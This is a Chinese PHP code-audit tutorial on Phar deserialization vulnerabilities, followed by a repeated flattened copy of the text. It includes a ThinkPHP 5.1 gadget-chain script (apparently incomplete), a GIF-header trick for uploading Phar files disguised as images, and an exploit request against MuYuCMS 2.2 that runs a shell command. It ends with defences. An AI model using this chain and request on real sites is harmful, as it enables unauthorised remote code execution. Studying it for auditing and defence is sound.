【PHP代码审计】站点中的Phar反序列化漏洞
字数 1425 2025-08-18 11:36:48

PHP Phar反序列化漏洞深入分析与利用

一、PHP反序列化漏洞概述

PHP反序列化漏洞按照反序列化入口可以分为三类:

  1. 调用unserialize()函数进行反序列化
  2. 利用Session处理中进行的反序列化操作
  3. 通过Phar伪协议进行反序列化

其中,unserialize()函数的使用较少见,而Session反序列化可控条件较为苛刻。本文将重点介绍第三种方式——Phar伪协议反序列化漏洞。

二、Phar基础知识

1. 什么是Phar

Phar(PHP Archive)是PHP的压缩文档格式,从PHP 5.3开始引入,类似于Java的JAR文件。它可以将多个文件打包到一个文件中,无需解压即可被PHP访问和执行内部语句。

2. Phar文件结构

Phar文件包含以下几个主要部分:

  • stub:文件头部标识,必须包含__HALT_COMPILER();?>,前面可以添加任意内容
  • manifest:包含文件的元数据,其中自定义的meta-data会以序列化形式存储
  • 文件内容:实际存储的文件内容
  • 签名:可选部分,用于验证文件完整性

三、Phar反序列化原理

Phar之所以能触发反序列化,是因为:

  1. Phar文件会以序列化的形式存储用户自定义的meta-data
  2. PHP在解析meta数据时,会调用php_var_unserialize()进行反序列化操作
  3. 这相当于替代了unserialize()函数作为反序列化漏洞的入口

四、触发Phar反序列化的文件系统函数

以下常见的PHP文件系统函数在参数可控时可触发Phar反序列化:

file_exists()、is_dir()、is_executable()、is_file()、is_link()、is_readable()
is_writable()、is_writeable()、parse_ini_file()、copy()、unlink()、stat()
fopen()、file()、file_get_contents()、readfile()、md5_file()、sha1_file()

五、生成Phar文件的技巧

1. 基本生成方法

<?php
class TestObject {}

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a". "<?php __HALT_COMPILER(); ?>"); // 设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); // 将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); // 添加要压缩的文件
$phar->stopBuffering();

2. 绕过上传限制的技巧

由于PHP识别Phar文件仅通过头部标识__HALT_COMPILER();?>,因此可以:

  1. 添加任意文件头(如GIF89a)
  2. 修改Phar文件后缀名(如.jpg、.png等)
  3. 从而绕过上传点的文件类型检查

六、漏洞利用实战(以MuYuCMS 2.2为例)

1. 寻找触发点

目标:找到一个参数可控的受影响的文件系统函数。

在MuYuCMS 2.2中,Template.php文件的is_dir()函数参数可控:

// Template.php
public function cutformadd()
{
    $path = input('path');
    if(is_dir($path)) {
        // ...
    }
}

2. 构造利用链

MuYuCMS基于ThinkPHP 5.1开发,可以使用现成的反序列化利用链:

<?php
namespace think {
    abstract class Model {
        protected $append = [];
        private $data = [];
        function __construct() {
            $this->append = ["l1_Tuer"=>["123"]];
            $this->data = ["l1_Tuer"=> new Request()];
        }
    }
}

namespace think\process\pipes {
    use think\model\concern\Conversion;
    use think\model\Pivot;
    class Windows {
        private $files = [];
        public function __construct() {
            $this->files=[new Pivot()];
        }
    }
}

namespace think\model {
    use think\Model;
    class Pivot extends Model {}
}

namespace {
    use think\process\pipes\Windows;
    $phar = new Phar("shell.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a". "<?php __HALT_COMPILER(); ?>");
    $o = new Windows();
    $phar->setMetadata($o);
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();
    echo (base64_encode(serialize(new Windows())));
}

3. 生成Phar文件

  1. 修改php.ini,设置phar.readonly = Off
  2. 执行生成脚本:php.exe poc.php

4. 上传并触发漏洞

  1. 登录后台,找到任意图片上传点,上传伪装成图片的Phar文件
  2. 记录返回的文件路径
  3. 构造漏洞利用请求:
POST /admin.php/template/cutformadd?cmd=type%20c:\\windows\\win.ini HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=xxx

finame=测试&fielname=gywm.html&path=phar://./public/upload/images/恶意文件.jpg&content=666

七、防御措施

  1. 禁用Phar流包装器:stream_wrapper_unregister('phar');
  2. 对文件系统函数的参数进行严格过滤
  3. 限制上传文件的类型,不仅检查扩展名,还要检查文件内容
  4. 使用phar.require_hash=On要求Phar文件必须包含签名
  5. 及时更新框架和依赖库,避免使用已知存在漏洞的版本

八、总结

Phar反序列化漏洞是一种较为隐蔽的攻击方式,特点如下:

  1. 不需要直接调用unserialize()函数
  2. 可以绕过上传限制
  3. 利用常见的文件操作函数触发
  4. 危害性大,可导致远程代码执行

在白盒审计时,应重点关注:

  1. 参数可控的文件系统函数调用
  2. 文件上传功能的实现方式
  3. 项目中使用的第三方库和框架版本
PHP Phar反序列化漏洞深入分析与利用 一、PHP反序列化漏洞概述 PHP反序列化漏洞按照反序列化入口可以分为三类: 调用 unserialize() 函数进行反序列化 利用Session处理中进行的反序列化操作 通过Phar伪协议进行反序列化 其中, unserialize() 函数的使用较少见,而Session反序列化可控条件较为苛刻。本文将重点介绍第三种方式——Phar伪协议反序列化漏洞。 二、Phar基础知识 1. 什么是Phar Phar(PHP Archive)是PHP的压缩文档格式,从PHP 5.3开始引入,类似于Java的JAR文件。它可以将多个文件打包到一个文件中,无需解压即可被PHP访问和执行内部语句。 2. Phar文件结构 Phar文件包含以下几个主要部分: stub :文件头部标识,必须包含 __HALT_COMPILER();?> ,前面可以添加任意内容 manifest :包含文件的元数据,其中自定义的meta-data会以序列化形式存储 文件内容 :实际存储的文件内容 签名 :可选部分,用于验证文件完整性 三、Phar反序列化原理 Phar之所以能触发反序列化,是因为: Phar文件会以序列化的形式存储用户自定义的meta-data PHP在解析meta数据时,会调用 php_var_unserialize() 进行反序列化操作 这相当于替代了 unserialize() 函数作为反序列化漏洞的入口 四、触发Phar反序列化的文件系统函数 以下常见的PHP文件系统函数在参数可控时可触发Phar反序列化: 五、生成Phar文件的技巧 1. 基本生成方法 2. 绕过上传限制的技巧 由于PHP识别Phar文件仅通过头部标识 __HALT_COMPILER();?> ,因此可以: 添加任意文件头(如GIF89a) 修改Phar文件后缀名(如.jpg、.png等) 从而绕过上传点的文件类型检查 六、漏洞利用实战(以MuYuCMS 2.2为例) 1. 寻找触发点 目标:找到一个参数可控的受影响的文件系统函数。 在MuYuCMS 2.2中, Template.php 文件的 is_dir() 函数参数可控: 2. 构造利用链 MuYuCMS基于ThinkPHP 5.1开发,可以使用现成的反序列化利用链: 3. 生成Phar文件 修改php.ini,设置 phar.readonly = Off 执行生成脚本: php.exe poc.php 4. 上传并触发漏洞 登录后台,找到任意图片上传点,上传伪装成图片的Phar文件 记录返回的文件路径 构造漏洞利用请求: 七、防御措施 禁用Phar流包装器: stream_wrapper_unregister('phar'); 对文件系统函数的参数进行严格过滤 限制上传文件的类型,不仅检查扩展名,还要检查文件内容 使用 phar.require_hash=On 要求Phar文件必须包含签名 及时更新框架和依赖库,避免使用已知存在漏洞的版本 八、总结 Phar反序列化漏洞是一种较为隐蔽的攻击方式,特点如下: 不需要直接调用 unserialize() 函数 可以绕过上传限制 利用常见的文件操作函数触发 危害性大,可导致远程代码执行 在白盒审计时,应重点关注: 参数可控的文件系统函数调用 文件上传功能的实现方式 项目中使用的第三方库和框架版本